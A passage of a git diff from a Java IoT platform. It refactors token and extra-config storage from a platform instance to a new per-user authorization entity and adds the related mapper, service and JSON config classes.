JSON.parseObject(platform.getExtraConfig()) : new JSONObject(); + PlatformUserAuth userAuth = context.getPlatformUserAuth(); + + JSONObject extra = userAuth.getExtraConfigParsed(); + if (extra == null) extra = new JSONObject(); boolean extraChanged = false; - boolean platformFieldChanged = false; + boolean userAuthFieldChanged = false; + // 平台用户授权信息(token、userId) + PlatformUserAuth userAuthUpdate = new PlatformUserAuth(); PlatformDeviceMapping mapping = context.getDeviceMapping(); boolean mappingChanged = false; + // 保存平台映射关系(测点ID、设备ID) + PlatformDeviceMapping mappingUpdate = new PlatformDeviceMapping(); - for (int i = 0; i < saves.size(); i++) { - JSONObject save = saves.getJSONObject(i); - String field = save.getString("field"); - String saveTo = save.getString("saveTo"); + for (ResultSaveField save : saves) { + String field = save.getField(); + String saveTo = save.getSaveTo(); Object value = response.get(field); if (value == null || saveTo == null) continue; - if (saveTo.startsWith("extra_config.")) { - String key = saveTo.substring("extra_config.".length()); - extra.put(key, value); - extraChanged = true; - } else if (saveTo.startsWith("platform_instance.")) { - String col = saveTo.substring("platform_instance.".length()); - if ("access_token".equals(col)) { - platform.setAccessToken(value.toString()); - platformFieldChanged = true; - } else if ("token_expires_at".equals(col)) { - try { - long seconds = Long.parseLong(value.toString()); - platform.setTokenExpiresAt(new Date(System.currentTimeMillis() + seconds * 1000)); - platformFieldChanged = true; - } catch (Exception ignored) {} + if (saveTo.startsWith("platform_user_auth.")) { + // 新增:保存到用户认证表 + String col = saveTo.substring("platform_user_auth.".length()); + switch (col) { + case "access_token": + userAuthUpdate.setAccessToken(value.toString()); + userAuthFieldChanged = true; + break; + case "token_expires_at": + try { + long seconds = Long.parseLong(value.toString()); + userAuthUpdate.setTokenExpiresAt(new Date(System.currentTimeMillis() + seconds * 1000)); + userAuthFieldChanged = true; + } catch (Exception ignored) { + log.warn("保存token过期时间出错"); + } + break; + case "platform_user_id": + userAuthUpdate.setPlatformUserId(value.toString()); + userAuthFieldChanged = true; + break; + case "platform_user_name": + userAuthUpdate.setPlatformUserName(value.toString()); + userAuthFieldChanged = true; + break; } } else if (saveTo.startsWith("device_mapping.") && mapping != null) { String col = saveTo.substring("device_mapping.".length()); if ("platform_device_id".equals(col)) { - mapping.setPlatformDeviceId(value.toString()); + mappingUpdate.setPlatformDeviceId(value.toString()); mappingChanged = true; } else if ("platform_point_id".equals(col)) { - mapping.setPlatformPointId(value.toString()); + mappingUpdate.setPlatformPointId(value.toString()); mappingChanged = true; } + } else if (saveTo.startsWith("extra_config.")) { + String key = saveTo.substring("extra_config.".length()); + extra.put(key, value); + userAuthUpdate.setExtraConfig(extra.toJSONString()); + extraChanged = true; } } - if (extraChanged) { - // 只更新 extra_config 字段,不覆盖其他字段 - platform.setExtraConfig(extra.toJSONString()); - PlatformInstance update = new PlatformInstance(); - update.setId(platform.getId()); - update.setExtraConfig(extra.toJSONString()); - instanceMapper.updateById(update); - } - if (platformFieldChanged) { - // 只更新 access_token 和 token_expires_at,不覆盖 extra_config - PlatformInstance update = new PlatformInstance(); - update.setId(platform.getId()); - update.setAccessToken(platform.getAccessToken()); - update.setTokenExpiresAt(platform.getTokenExpiresAt()); - instanceMapper.updateById(update); + // 保存用户认证字段 + if (userAuthFieldChanged || extraChanged) { + userAuthUpdate.setId(userAuth.getId()); + PlatformUserAuthMapper userAuthMapper = SpringUtils.getBean(PlatformUserAuthMapper.class); + userAuthMapper.updateById(userAuthUpdate); } + + // 保存设备映射字段 if (mappingChanged) { - PlatformDeviceMapping update = new PlatformDeviceMapping(); - update.setId(mapping.getId()); - update.setPlatformDeviceId(mapping.getPlatformDeviceId()); - update.setPlatformPointId(mapping.getPlatformPointId()); + mappingUpdate.setId(mapping.getId()); // 直接用 SpringUtils 获取 mapper,避免循环依赖注入 PlatformDeviceMappingMapper mappingMapper = SpringUtils.getBean(PlatformDeviceMappingMapper.class); - mappingMapper.updateById(update); + mappingMapper.updateById(mappingUpdate); } } catch (Exception e) { log.warn("[PlatformFlow] persistResultSave 失败: {}", e.getMessage()); + throw new RuntimeException("执行流程❌,保存数据失败: " + e.getMessage()); } } @@ -1192,7 +1267,7 @@ public class PlatformFlowExecutor { * 解析当前步骤应使用的 Token: * - flow_type=3(Token刷新):不注入,避免循环 * - flow_type=1(平台初始化)step1:认证步骤本身不注入 - * - 其他情况:从 platform_instance 取(step1 执行后已通过 persistResultSave 写入),过期则自动刷新 + * - 其他情况:从 userAuth 获取,过期则自动刷新 */ private String resolveToken(PlatformFlow flow, PlatformFlowStep step, FlowContext ctx) { if (flow.getFlowType() == 3) { @@ -1202,42 +1277,50 @@ public class PlatformFlowExecutor { // 初始化流程第1步是认证接口本身,不注入 token return null; } - // 其余情况(含初始化流程 step2+):从 platform 对象取 - // step1 执行后 persistResultSave 已将 token 写入 platform 内存对象和 DB - return ensureToken(ctx.getPlatform()); + return ensureToken(ctx); } - /** 确保 Token 有效,过期则刷新 */ - private String ensureToken(PlatformInstance platform) { + /** + * 确保 Token 有效,过期则刷新 + */ + public String ensureToken(FlowContext ctx) { + if (ctx == null || ctx.getPlatformUserAuth() == null) { + throw new RuntimeException("入网失败,accessToken为空"); + } + PlatformUserAuth userAuth = ctx.getPlatformUserAuth(); Date now = new Date(); // 提前 5 分钟视为过期 - boolean expired = platform.getTokenExpiresAt() == null - || platform.getTokenExpiresAt().getTime() - now.getTime() < 5 * 60 * 1000L; - if (!StringUtils.hasText(platform.getAccessToken()) || expired) { - refreshToken(platform); + boolean expired = userAuth.getTokenExpiresAt() == null + || userAuth.getTokenExpiresAt().getTime() - now.getTime() < 5 * 60 * 1000L; + if (!StringUtils.hasText(userAuth.getAccessToken()) || expired) { + refreshToken(ctx); } - return platform.getAccessToken(); + return userAuth.getAccessToken(); } - /** 执行 flow_type=3 的 Token 刷新流程 */ - private void refreshToken(PlatformInstance platform) { - com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper wrapper = - Wrappers.lambdaQuery() - .eq(PlatformFlow::getPlatformId, platform.getId()) - .eq(PlatformFlow::getFlowType, 3) - .eq(PlatformFlow::getEnable, "1"); - // 通过 ApplicationContext 获取 PlatformFlowMapper,避免循环依赖 - // 此处直接用 instanceMapper 所在的 Spring 容器获取 - // 实际注入见 PlatformFlowExecutor 字段 - com.fastbee.iot.platform.mapper.PlatformFlowMapper flowMapper = - com.fastbee.common.utils.spring.SpringUtils.getBean( - com.fastbee.iot.platform.mapper.PlatformFlowMapper.class); - PlatformFlow tokenFlow = flowMapper.selectOne(wrapper); + /** + * 执行 flow_type=3 的 Token 刷新流程 + */ + private void refreshToken(FlowContext ctx) { + PlatformUserAuth userAuth = ctx.getPlatformUserAuth(); + PlatformFlowMapper flowMapper = SpringUtils.getBean(PlatformFlowMapper.class); + PlatformFlow tokenFlow = flowMapper.selectOne(Wrappers.lambdaQuery() + .eq(PlatformFlow::getPlatformId, userAuth.getPlatformId()) + .eq(PlatformFlow::getFlowType, 3) + .eq(PlatformFlow::getEnable, "1") + .last("LIMIT 1")); if (tokenFlow == null) { - log.warn("[PlatformFlow] 平台 {} 未配置 Token 刷新流程(flow_type=3)", platform.getId()); + log.warn("[PlatformFlow] 平台 {} 未配置 Token 刷新流程(flow_type=3)", userAuth.getPlatformId()); return; } - FlowContext ctx = new FlowContext(platform); + + // 获取平台实例 + PlatformInstance platform = ctx.getPlatform(); + if (platform == null) { + log.warn("[PlatformFlow] 平台不存在: {}", userAuth.getPlatformId()); + return; + } + execute(tokenFlow, ctx); // 从上下文中提取 token(约定 Token 刷新流程最后一步 resultKey="tokenStep") @@ -1248,12 +1331,13 @@ public class PlatformFlowExecutor { String accessToken = (String) tokenResp.get("access_token"); Object expiresIn = tokenResp.get("expires_in"); if (StringUtils.hasText(accessToken)) { - platform.setAccessToken(accessToken); + userAuth.setAccessToken(accessToken); if (expiresIn != null) { long seconds = Long.parseLong(expiresIn.toString()); - platform.setTokenExpiresAt(new Date(System.currentTimeMillis() + seconds * 1000)); + userAuth.setTokenExpiresAt(new Date(System.currentTimeMillis() + seconds * 1000)); } - instanceMapper.updateById(platform); + PlatformUserAuthMapper userAuthMapper = SpringUtils.getBean(PlatformUserAuthMapper.class); + userAuthMapper.updateById(userAuth); } } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/job/PlatformPushScheduledJob.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/job/PlatformPushScheduledJob.java index ca01420e..14835bf0 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/job/PlatformPushScheduledJob.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/job/PlatformPushScheduledJob.java @@ -8,14 +8,12 @@ import com.fastbee.iot.cache.ITSLCache; import com.fastbee.iot.domain.Device; import com.fastbee.iot.model.ThingsModels.ValueItem; import com.fastbee.iot.platform.adapter.dcp.DcpPlatformAdapter; -import com.fastbee.iot.platform.domain.PlatformDeviceMapping; -import com.fastbee.iot.platform.domain.PlatformDeviceSubMapping; -import com.fastbee.iot.platform.domain.PlatformInstance; -import com.fastbee.iot.platform.domain.PlatformInterface; +import com.fastbee.iot.platform.domain.*; import com.fastbee.iot.platform.mapper.PlatformInterfaceMapper; import com.fastbee.iot.platform.service.IPlatformDeviceMappingService; import com.fastbee.iot.platform.service.IPlatformDeviceSubMappingService; import com.fastbee.iot.platform.service.IPlatformInstanceService; +import com.fastbee.iot.platform.service.IPlatformUserAuthService; import com.fastbee.iot.service.IDeviceService; import lombok.extern.slf4j.Slf4j; import org.apache.commons.collections4.CollectionUtils; @@ -59,6 +57,8 @@ public class PlatformPushScheduledJob { private IDeviceService deviceService; @Autowired private PlatformInterfaceMapper interfaceMapper; + @Autowired + private IPlatformUserAuthService platformUserAuthService; /** * 每5分钟执行一次,检查并触发到期的推送任务 @@ -128,14 +128,21 @@ public class PlatformPushScheduledJob { return; } - Date dataTime = resolveLatestDataTime(mapping); + PlatformUserAuth platformUserAuth = platformUserAuthService.getById(mapping.getPlatformUserAuthId()); + if (platformUserAuth == null || !"1".equals(platformUserAuth.getEnable())) { + log.warn("[PlatformPushJob] 平台已授权用户不存在或已禁用 platformUserAuthId={}", mapping.getPlatformUserAuthId()); + return; + } + + // 数据库 last_push_time 为 DATETIME(秒精度),此处截断毫秒, + // 避免 Redis 中带毫秒的时间与库中已截断的时间比较时误判为"数据变化"而重复推送 + Date dataTime = truncateToSeconds(resolveLatestDataTime(mapping)); if (dataTime == null) { log.warn("[PlatformPushJob] 设备 {} 无有效数据时间,跳过推送", mapping.getSerialNumber()); return; } if (mapping.getLastPushTime() != null && !dataTime.after(mapping.getLastPushTime())) { - log.info("[PlatformPushJob] 数据未变化,跳过重复推送 mappingId={} dataTime={} lastPushTime={}", - mapping.getId(), dataTime, mapping.getLastPushTime()); + log.info("[PlatformPushJob] 数据未变化,跳过重复推送 mappingId={} dataTime={} lastPushTime={}", mapping.getId(), dataTime, mapping.getLastPushTime()); return; } @@ -144,10 +151,10 @@ public class PlatformPushScheduledJob { PlatformInterface pushInterface = loadPushInterface(mapping); if (pushInterface != null && pushInterface.getIsBatchPush() != null && pushInterface.getIsBatchPush() == 1) { // 批量推送 - pushBatchGatewayData(platform, mapping); + pushBatchGatewayData(platform, platformUserAuth, mapping); } else { // 非批量:逐个子设备推送 - pushGatewayLatestData(platform, mapping); + pushGatewayLatestData(platform, platformUserAuth, mapping); } } else { // 直连设备 @@ -158,7 +165,7 @@ public class PlatformPushScheduledJob { return; } String payload = buildPayloadFromCache(cacheMap); - dcpAdapter.pushData(platform, mapping, serialNumber, payload); + dcpAdapter.pushData(platform, platformUserAuth, mapping, serialNumber, payload); } // lastPushTime 记录最近已推送的数据时间,用于幂等判断 @@ -171,7 +178,7 @@ public class PlatformPushScheduledJob { * 取最深层(最后一个)监测点作为触发点,构造模拟 payload, * 调用 pushGatewayData 进入批量推送路径,推送从浅到深的全量子设备数据。 */ - private void pushBatchGatewayData(PlatformInstance platform, PlatformDeviceMapping mapping) { + private void pushBatchGatewayData(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping) { List subMappings = subMappingService.selectByParentId(mapping.getId()); if (CollectionUtils.isEmpty(subMappings)) { log.warn("[PlatformPushJob] 网关设备 {} 无子设备映射", mapping.getSerialNumber()); @@ -201,14 +208,14 @@ public class PlatformPushScheduledJob { } String payload = buildPayloadFromCache(cacheMap); - dcpAdapter.pushGatewayData(platform, mapping, lastMonitor, lastMonitor.getSubSerialNumber(), payload); + dcpAdapter.pushGatewayData(platform, userAuth, mapping, lastMonitor, lastMonitor.getSubSerialNumber(), payload); log.info("[PlatformPushJob] 批量推送完成 mappingId={} 最深层监测点={} 子设备总数={}", mapping.getId(), lastMonitor.getSubSerialNumber(), monitors.size()); } /** * 推送网关设备最新数据(非批量,逐个子设备推送) */ - private void pushGatewayLatestData(PlatformInstance platform, PlatformDeviceMapping mapping) { + private void pushGatewayLatestData(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping) { List subMappings = subMappingService.selectByParentId(mapping.getId()); if (CollectionUtils.isEmpty(subMappings)) { log.warn("[PlatformPushJob] 网关设备 {} 无子设备映射", mapping.getSerialNumber()); @@ -229,7 +236,7 @@ public class PlatformPushScheduledJob { } String payload = buildPayloadFromCache(subCacheMap); - dcpAdapter.pushGatewayData(platform, mapping, subMapping, subSerialNumber, payload); + dcpAdapter.pushGatewayData(platform, userAuth, mapping, subMapping, subSerialNumber, payload); } catch (Exception e) { log.error("[PlatformPushJob] 网关子设备推送失败 subSn={}", subMapping.getSubSerialNumber(), e); } @@ -320,4 +327,14 @@ public class PlatformPushScheduledJob { } return interfaceMapper.selectById(mapping.getPushInterfaceId()); } + + /** + * 截断毫秒,与 DATETIME 字段的存储精度保持一致 + */ + private Date truncateToSeconds(Date date) { + if (date == null) { + return null; + } + return new Date(date.getTime() / 1000 * 1000); + } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/mapper/PlatformUserAuthMapper.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/mapper/PlatformUserAuthMapper.java new file mode 100644 index 00000000..e934f7d7 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/mapper/PlatformUserAuthMapper.java @@ -0,0 +1,32 @@ +package com.fastbee.iot.platform.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.fastbee.iot.platform.domain.PlatformUserAuth; +import org.apache.ibatis.annotations.Mapper; +import org.apache.ibatis.annotations.Param; + +import java.util.List; + +/** + * 平台用户认证 Mapper 接口 + */ +@Mapper +public interface PlatformUserAuthMapper extends BaseMapper { + + /** + * 查询列表 + */ + List selectList(PlatformUserAuth query); + + /** + * 根据平台ID查询已初始化的用户列表 + */ + List selectInitializedByPlatformId(@Param("platformId") Long platformId); + + /** + * 根据平台ID和用户ID查询 + */ + PlatformUserAuth selectByPlatformAndUserId(@Param("platformId") Long platformId, @Param("platformUserId") String platformUserId); + + Integer countEffectivePlatformUser(@Param("platformId") Long platformId); +} \ No newline at end of file diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ExtraMappingConfig.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ExtraMappingConfig.java new file mode 100644 index 00000000..b53316c3 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ExtraMappingConfig.java @@ -0,0 +1,62 @@ +package com.fastbee.iot.platform.model.json; + +import com.fastbee.iot.platform.domain.PlatformDeviceMapping; +import lombok.Data; + +import java.io.Serializable; +import java.util.List; + +/** + * @see PlatformDeviceMapping#extraMapping POJO + */ +@Data +public class ExtraMappingConfig implements Serializable { + + /** 覆盖推送接口中的数组字段名 */ + private String fieldName; + + /** 数组模式:single / reference_pair */ + private String arrayMode; + + /** 静力水准缓存超时秒数 */ + private Integer reportIntervalSec; + + /** 数组项字段映射 */ + private List itemFieldMappings; + + /** 批量推送数组字段子设备映射配置 */ + private List arrayFields; + + /** 静力水准配置 */ + private StaticLevelConfig staticLevel; + + @Data + public static class ItemFieldMapping implements Serializable { + private String identifier; + private String platformField; + } + + @Data + public static class ArrayFieldConfig implements Serializable { + private List subDeviceMappings; + } + + @Data + public static class SubDeviceMapping implements Serializable { + private String serialNumber; + private String sensorId; + private Boolean isReference; + } + + @Data + public static class StaticLevelConfig implements Serializable { + private String referenceSerialNumber; + private List sensorIdMappings; + } + + @Data + public static class SensorIdMapping implements Serializable { + private String serialNumber; + private String sensorId; + } +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/FieldMappingItem.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/FieldMappingItem.java new file mode 100644 index 00000000..68b6a0ab --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/FieldMappingItem.java @@ -0,0 +1,22 @@ +package com.fastbee.iot.platform.model.json; + +import com.fastbee.iot.platform.domain.PlatformDeviceMapping; +import lombok.Data; + +import java.io.Serializable; + +/** + * @see PlatformDeviceMapping.fieldMapping 字段定义 POJO:{identifier, platformField, transform} + */ +@Data +public class FieldMappingItem implements Serializable { + + /** 物模型标识符 */ + private String identifier; + + /** 平台侧字段名 */ + private String platformField; + + /** 转换方式(可选) */ + private String transform; +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/OnboardConfig.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/OnboardConfig.java new file mode 100644 index 00000000..2f8daa05 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/OnboardConfig.java @@ -0,0 +1,25 @@ +package com.fastbee.iot.platform.model.json; + +import com.fastbee.iot.platform.domain.PlatformDeviceSubMapping; +import lombok.Data; + +import java.io.Serializable; + +/** + * @see PlatformDeviceSubMapping.onboardConfig POJO + */ +@Data +public class OnboardConfig implements Serializable { + + /** 平台传感器 ID */ + private String sensorId; + + /** 传感器深度 */ + private String sensorDepth; + + /** 基准点序列号 */ + private String refSerialNumber; + + /** 基准点传感器 ID */ + private String refSensorId; +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ParamOverrideConfig.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ParamOverrideConfig.java new file mode 100644 index 00000000..aecd848f --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ParamOverrideConfig.java @@ -0,0 +1,34 @@ +package com.fastbee.iot.platform.model.json; + +import com.fastbee.iot.platform.domain.PlatformFlowStep; +import lombok.Data; + +import java.io.Serializable; + +/** + * @see PlatformFlowStep.paramMapping POJO + *

+ * JSON 结构为 Map,key 为字段名,value 为参数覆盖定义: + * { "grant_type": {"source": "fixed", "value": "password"}, ... } + */ +@Data +public class ParamOverrideConfig implements Serializable { + + /** 值来源:fixed/auth/extra/context 等 */ + private String source; + + /** 类型:string/number 等 */ + private String type; + + /** source=auth/extra 时的子字段名 */ + private String field; + + /** source=fixed 时的固定值 */ + private Object value; + + /** source=context 时的上下文 key */ + private String contextKey; + + /** source=thingsModel 时的物模型标识符 */ + private String identifier; +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/RequestSchemaField.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/RequestSchemaField.java new file mode 100644 index 00000000..7e518fba --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/RequestSchemaField.java @@ -0,0 +1,44 @@ +package com.fastbee.iot.platform.model.json; + +import com.alibaba.fastjson2.annotation.JSONField; +import com.fastbee.iot.platform.domain.PlatformInterface; +import lombok.Data; + +import java.io.Serializable; +import java.util.List; + +/** + * @see PlatformInterface.requestSchema 字段定义 POJO + * 支持 14 种 source 类型和递归嵌套的 itemSchema + */ +@Data +public class RequestSchemaField implements Serializable { + + /** 字段名(出参 key) */ + private String name; + + /** 值来源:fixed/auth/extra/device/thingsModel/ts/context/uuid/onboard_config/等 */ + private String source; + + /** 字段类型:string/number/boolean/array */ + private String type; + + /** source=fixed 时的固定值 */ + private Object value; + + /** source=auth/extra/device 时的子字段名 */ + private String field; + + /** source=context 时的上下文 key */ + private String contextKey; + + /** source=thingsModel 时的物模型标识符 */ + private String identifier; + + /** type=array 时的数组成员 schema */ + @JSONField(name = "itemSchema") + private List itemSchema; + + /** type=array 时的数组模式:single/reference_pair */ + private String arrayMode; +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ResponseSchemaField.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ResponseSchemaField.java new file mode 100644 index 00000000..9019e7f9 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ResponseSchemaField.java @@ -0,0 +1,19 @@ +package com.fastbee.iot.platform.model.json; + +import com.fastbee.iot.platform.domain.PlatformInterface; +import lombok.Data; + +import java.io.Serializable; + +/** + * @see PlatformInterface.responseSchema 字段定义 POJO:{name, path} + */ +@Data +public class ResponseSchemaField implements Serializable { + + /** 存储到 FlowContext 的 key 名 */ + private String name; + + /** JSON path 表达式,如 $.data.id、data[0].deviceId */ + private String path; +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ResultSaveField.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ResultSaveField.java new file mode 100644 index 00000000..9a4c5311 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/model/json/ResultSaveField.java @@ -0,0 +1,19 @@ +package com.fastbee.iot.platform.model.json; + +import com.fastbee.iot.platform.domain.PlatformFlowStep; +import lombok.Data; + +import java.io.Serializable; + +/** + * @see PlatformFlowStep.resultSave 字段定义 POJO:{field, saveTo} + */ +@Data +public class ResultSaveField implements Serializable { + + /** 响应中的字段名 */ + private String field; + + /** 保存目标,如 platform_user_auth.access_token、device_mapping.platform_device_id、extra_config.projectId */ + private String saveTo; +} diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformFlowService.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformFlowService.java index 009f2b88..7d162e99 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformFlowService.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformFlowService.java @@ -10,21 +10,9 @@ public interface IPlatformFlowService extends IService { List selectList(PlatformFlow query); - /** 查询某平台指定类型的流程 */ - PlatformFlow selectByPlatformAndType(Long platformId, Integer flowType); - - /** 查询某平台指定类型+传感器类型的流程(设备入网用) */ - PlatformFlow selectByPlatformTypeAndSensor(Long platformId, Integer flowType, String sensorType); - /** 查询流程的有序步骤列表 */ List selectSteps(Long flowId); - /** 手动触发流程执行 */ - void executeManually(Long flowId); - - /** 手动触发流程执行(设备入网流程需传 mappingId) */ - void executeManually(Long flowId, Long mappingId); - /** 保存流程及步骤(含步骤的新增/更新/删除) */ void saveWithSteps(PlatformFlow flow, List steps); } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformInstanceService.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformInstanceService.java index e4682cde..6e492a3b 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformInstanceService.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformInstanceService.java @@ -3,19 +3,9 @@ package com.fastbee.iot.platform.service; import com.baomidou.mybatisplus.extension.service.IService; import com.fastbee.iot.platform.domain.PlatformInstance; -import java.util.Date; import java.util.List; public interface IPlatformInstanceService extends IService { List selectList(PlatformInstance query); - - /** 手动触发平台初始化流程(flow_type=1) */ - void initialize(Long platformId); - - /** 更新 Token 和过期时间 */ - void updateToken(Long platformId, String accessToken, Date tokenExpiresAt); - - /** 更新 extra_config 中的某个字段 */ - void updateExtraConfig(Long platformId, String key, String value); } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformUserAuthService.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformUserAuthService.java new file mode 100644 index 00000000..26da0149 --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/IPlatformUserAuthService.java @@ -0,0 +1,42 @@ +package com.fastbee.iot.platform.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.fastbee.iot.platform.domain.PlatformUserAuth; + +import java.util.List; + +/** + * 平台用户认证 Service 接口 + */ +public interface IPlatformUserAuthService extends IService { + + /** + * 查询列表 + */ + List selectList(PlatformUserAuth query); + + /** + * 根据平台ID查询已初始化的用户列表 + */ + List selectInitializedByPlatformId(Long platformId); + + /** + * 初始化用户认证(执行初始化流程获取 userId) + */ + void initialize(Long userAuthId); + + /** + * 更新 Token + */ + void updateToken(Long userAuthId, String accessToken, java.util.Date tokenExpiresAt); + + /** + * 更新用户级配置 + */ + void updateExtraConfig(Long userAuthId, String key, String value); + + /** + * 获取用户的项目列表 + */ + List> getProjectsByUserAuthId(Long userAuthId); +} \ No newline at end of file diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformDeviceMappingServiceImpl.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformDeviceMappingServiceImpl.java index 3a17f13e..d4bb4c03 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformDeviceMappingServiceImpl.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/service/impl/PlatformDeviceMappingServiceImpl.java @@ -3,17 +3,16 @@ package com.fastbee.iot.platform.service.impl; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.fastbee.iot.platform.domain.PlatformDeviceMapping; -import com.fastbee.iot.platform.domain.PlatformDeviceSubMapping; -import com.fastbee.iot.platform.domain.PlatformFlow; -import com.fastbee.iot.platform.domain.PlatformInstance; +import com.fastbee.iot.platform.domain.*; import com.fastbee.iot.platform.flow.FlowContext; import com.fastbee.iot.platform.flow.PlatformFlowExecutor; import com.fastbee.iot.platform.mapper.PlatformDeviceMappingMapper; import com.fastbee.iot.platform.mapper.PlatformFlowMapper; import com.fastbee.iot.platform.mapper.PlatformInstanceMapper; +import com.fastbee.iot.platform.mapper.PlatformUserAuthMapper; import com.fastbee.iot.platform.service.IPlatformDeviceMappingService; import com.fastbee.iot.platform.service.IPlatformDeviceSubMappingService; +import com.fastbee.iot.platform.service.IPlatformUserAuthService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -40,6 +39,8 @@ public class PlatformDeviceMappingServiceImpl extends ServiceImpl selectList(PlatformDeviceMapping query) { @@ -77,6 +78,11 @@ public class PlatformDeviceMappingServiceImpl extends ServiceImpllambdaQuery() .eq(PlatformFlow::getPlatformId, mapping.getPlatformId()) .eq(PlatformFlow::getFlowType, 2) @@ -88,17 +94,17 @@ public class PlatformDeviceMappingServiceImpl extends ServiceImpl subMappings = subMappingService.selectByParentId(mapping.getId()); PlatformDeviceSubMapping reference = resolveGatewayReference(mapping, subMappings); List monitors = subMappings.stream() @@ -128,11 +134,8 @@ public class PlatformDeviceMappingServiceImpl extends ServiceImpl selectList(PlatformFlow query) { @@ -43,58 +30,11 @@ public class PlatformFlowServiceImpl extends ServiceImpllambdaQuery() - .eq(PlatformFlow::getPlatformId, platformId) - .eq(PlatformFlow::getFlowType, flowType) - .eq(PlatformFlow::getEnable, "1") - .last("LIMIT 1")); - } - - @Override - public PlatformFlow selectByPlatformTypeAndSensor(Long platformId, Integer flowType, String sensorType) { - return this.getOne(Wrappers.lambdaQuery() - .eq(PlatformFlow::getPlatformId, platformId) - .eq(PlatformFlow::getFlowType, flowType) - .eq(PlatformFlow::getSensorType, sensorType) - .eq(PlatformFlow::getEnable, "1") - .last("LIMIT 1")); - } - @Override public List selectSteps(Long flowId) { return stepMapper.selectByFlowId(flowId); } - @Override - public void executeManually(Long flowId) { - executeManually(flowId, null); - } - - @Override - public void executeManually(Long flowId, Long mappingId) { - PlatformFlow flow = this.getById(flowId); - if (flow == null) throw new RuntimeException("流程不存在: " + flowId); - PlatformInstance platform = instanceMapper.selectById(flow.getPlatformId()); - if (platform == null) throw new RuntimeException("平台不存在: " + flow.getPlatformId()); - - // flow_type=2(设备入网)必须传 mappingId - if (flow.getFlowType() != null && flow.getFlowType() == 2) { - if (mappingId == null) { - throw new RuntimeException("设备入网流程需要指定设备绑定关系,请从设备绑定页面点击「入网」操作"); - } - PlatformDeviceMapping mapping = - SpringUtils.getBean(PlatformDeviceMappingMapper.class).selectById(mappingId); - if (mapping == null) throw new RuntimeException("设备绑定关系不存在: " + mappingId); - FlowContext ctx = new FlowContext(platform, mapping, null); - flowExecutor.execute(flow, ctx); - } else { - FlowContext ctx = new FlowContext(platform); - flowExecutor.execute(flow, ctx); - } - } - @Override @Transactional(rollbackFor = 